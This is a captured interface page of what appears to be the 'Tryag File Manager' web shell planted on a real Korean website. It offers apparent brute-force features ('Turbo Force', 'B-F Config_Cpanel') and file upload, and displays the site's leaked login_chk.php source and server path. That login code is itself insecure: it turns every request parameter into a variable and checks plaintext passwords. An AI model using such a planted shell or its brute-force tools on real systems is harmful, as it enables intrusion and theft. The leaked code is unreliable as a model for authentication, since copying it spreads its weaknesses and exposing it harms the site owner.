Tryag File Manager
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
home
/
nongapp.eemo.co.kr
/
public_html
/
www
/
Or
Select Your Path :
Upload File :
New :
File
Dir
/home/nongapp.eemo.co.kr/public_html/www/login_chk.php
<? // server should keep session data for AT LEAST 1 hour ini_set('session.gc_maxlifetime', 86400); // each client should remember their session id for EXACTLY 1 hour session_set_cookie_params(86400); session_cache_limiter('no-cache, must-revalidate'); session_start(); header("Pragma: no-cache"); header("Cache-Control: no-cache,must-revalidate"); header("Content-Type: text/html; charset=utf-8"); include_once("dbconn.php"); include_once("lib.php"); foreach($_GET as $key => $value) { ${$key}=mysql_real_escape_string(trim($value)); } foreach($_POST as $key => $value) { ${$key}=mysql_real_escape_string(trim($value)); } $arr_rst=array(); $rs=RS("select * from member where id='$id' and pass='$pass' "); if(!$rs[no]) { $arr_rst['rst']='0'; echo json_encode($arr_rst); exit; } else { $arr_rst['rst']='1'; echo json_encode($arr_rst); exit; } ?>